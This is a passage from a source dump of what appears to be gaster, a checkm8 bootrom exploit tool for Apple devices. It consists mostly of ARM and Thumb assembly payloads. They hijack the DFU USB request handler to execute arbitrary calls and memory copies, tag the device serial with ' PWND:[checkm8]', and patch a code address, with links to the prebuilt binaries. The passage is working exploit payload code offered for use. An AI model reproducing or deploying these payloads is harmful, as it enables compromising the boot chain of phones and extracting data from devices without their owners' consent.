24 | .set memcpy_addr, 0x7FFFFF5
25 | .set usb_core_do_transfer, 0x7FFFFF6
26 |
27 | .thumb
28 | .global _main
29 | _main:
30 | ldr pc, =handle_interface_request
31 | b _main
32 | ldrh r2, [r0]
33 | movw r3, #0x2A1
34 | cmp r2, r3
35 | bne _main
36 | push {r4-r6, lr}
37 | sub sp, sp, #0x10
38 | mov r4, r0
39 | ldr r5, =insecure_memory_base
40 | movw r1, #0xFFFF
41 | ldrh r2, [r4, #0x2]
42 | cmp r1, r2
43 | bne _request_done
44 | ldrd r0, r1, [r5]
45 | ldr r2, =exec_magic
46 | cmp r0, r2
47 | bne _not_exec
48 | cmp r1, r2
49 | bne _not_exec
50 | mov r1, #0
51 | str r1, [r5]
52 | ldrd r0, r1, [r5, #0x20]
53 | strd r0, r1, [sp]
54 | ldrd r0, r1, [r5, #0x28]
55 | strd r0, r1, [sp, #0x8]
56 | ldrd r0, r1, [r5, #0x10]
57 | ldrd r2, r3, [r5, #0x18]
58 | ldr r6, [r5, #0x8]
59 | blx r6
60 | ldr r2, =done_magic
61 | str r0, [r5, #0x8]
62 | strd r2, r2, [r5]
63 | b _request_done
64 | _not_exec:
65 | ldr r2, =memc_magic
66 | cmp r0, r2
67 | bne _request_done
68 | cmp r1, r2
69 | bne _request_done
70 | mov r1, #0
71 | strd r1, r1, [r5]
72 | ldrd r0, r1, [r5, #0x10]
73 | ldr r2, [r5, #0x18]
74 | ldr r3, =memcpy_addr
75 | blx r3
76 | ldr r2, =done_magic
77 | str r0, [r5, #0x8]
78 | strd r2, r2, [r5]
79 | _request_done:
80 | mov r0, #0x80
81 | mov r1, r5
82 | ldrh r2, [r4, #0x6]
83 | mov r3, #0
84 | ldr r4, =usb_core_do_transfer
85 | blx r4
86 | mov r0, #0
87 | add sp, sp, #0x10
88 | pop {r4-r6, pc}
89 |
--------------------------------------------------------------------------------
/payload_handle_checkm8_request_armv7.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x7ff/gaster/7fffffff38a1bed1cdc1c5bae0df70f14395129b/payload_handle_checkm8_request_armv7.bin
--------------------------------------------------------------------------------
/payload_notA9.S:
--------------------------------------------------------------------------------
1 | /* Copyright 2023 0x7ff
2 | *
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 | .text
16 | .align 2
17 |
18 | .pool
19 | .set payload_dest, 0x7FFFFFF0
20 | .set dfu_handle_bus_reset, 0x7FFFFFF1
21 | .set dfu_handle_request, 0x7FFFFFF2
22 | .set payload_off, 0x7FFFFFF3
23 | .set payload_sz, 0x7FFFFFF4
24 | .set memcpy_addr, 0x7FFFFFF5
25 | .set gUSBSerialNumber, 0x7FFFFFF6
26 | .set usb_create_string_descriptor, 0x7FFFFFF7
27 | .set usb_serial_number_string_descriptor, 0x7FFFFFF8
28 | .set patch_addr, 0x7FFFFFF9
29 |
30 | .global _main
31 | _main:
32 | stp x29, x30, [sp, #-0x10]!
33 | ldr x0, =payload_dest
34 | ldr x2, =dfu_handle_bus_reset
35 | str xzr, [x2]
36 | ldr x2, =dfu_handle_request
37 | add x1, x0, #0xC
38 | str x1, [x2]
39 | adr x1, _main
40 | ldr x2, =payload_off
41 | add x1, x1, x2
42 | ldr x2, =payload_sz
43 | ldr x3, =memcpy_addr
44 | blr x3
45 | ldr x0, =gUSBSerialNumber
46 | _find_zero_loop:
47 | add x0, x0, #1
48 | ldrb w1, [x0]
49 | cbnz w1, _find_zero_loop
50 | adr x1, PWND_STR
51 | ldp x2, x3, [x1]
52 | stp x2, x3, [x0]
53 | ldr x0, =gUSBSerialNumber
54 | ldr x1, =usb_create_string_descriptor
55 | blr x1
56 | ldr x1, =usb_serial_number_string_descriptor
57 | strb w0, [x1]
58 | mov w0, #0xD2800000
59 | ldr x1, =patch_addr
60 | str w0, [x1]
61 | ldp x29, x30, [sp], #0x10
62 | ret
63 |
64 | PWND_STR:
65 | .asciz " PWND:[checkm8]"
66 |
--------------------------------------------------------------------------------
/payload_notA9.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x7ff/gaster/7fffffff38a1bed1cdc1c5bae0df70f14395129b/payload_notA9.bin
--------------------------------------------------------------------------------
/payload_notA9_armv7.S:
--------------------------------------------------------------------------------
1 | /* Copyright 2023 0x7ff
2 | *
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 | .text
16 | .align 2
17 |
18 | .pool
19 | .set payload_dest, 0x7FFFFF0
20 | .set dfu_handle_bus_reset, 0x7FFFFF1
21 | .set dfu_handle_request, 0x7FFFFF2
22 | .set payload_off, 0x7FFFFF3
23 | .set payload_sz, 0x7FFFFF4
24 | .set memcpy_addr, 0x7FFFFF5
25 | .set gUSBSerialNumber, 0x7FFFFF6
26 | .set usb_create_string_descriptor, 0x7FFFFF7
27 | .set usb_serial_number_string_descriptor, 0x7FFFFF8
28 |
29 | .arm
30 | .global _main
31 | _main:
32 | push {lr}
33 | ldr r0, =payload_dest
34 | ldr r2, =dfu_handle_bus_reset
35 | mov r1, #0
36 | str r1, [r2]
37 | ldr r2, =dfu_handle_request
38 | add r1, r0, #0x7
39 | str r1, [r2]
40 | adr r1, _main
41 | ldr r2, =payload_off
42 | add r1, r1, r2
43 | ldr r2, =payload_sz
44 | ldr r3, =memcpy_addr
45 | blx r3
46 | ldr r0, =gUSBSerialNumber
47 | _find_zero_loop:
48 | add r0, r0, #1
49 | ldrb r1, [r0]
50 | cmp r1, #0
51 | bne _find_zero_loop
52 | adr r1, PWND_STR
53 | ldr r2, [r1]
54 | str r2, [r0]
55 | ldr r2, [r1, #0x4]
56 | str r2, [r0, #0x4]
57 | ldr r2, [r1, #0x8]
58 | str r2, [r0, #0x8]
59 | ldr r2, [r1, #0xC]
60 | str r2, [r0, #0xC]
61 | ldr r0, =gUSBSerialNumber
62 | ldr r1, =usb_create_string_descriptor
63 | blx r1
64 | ldr r1, =usb_serial_number_string_descriptor
65 | strb r0, [r1]
66 | pop {pc}
67 |
68 | PWND_STR:
69 | .asciz " PWND:[checkm8]"
70 |
--------------------------------------------------------------------------------
/payload_notA9_armv7.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x7ff/gaster/7fffffff38a1bed1cdc1c5bae0df70f14395129b/payload_notA9_armv7.bin
--------------------------------------------------------------------------------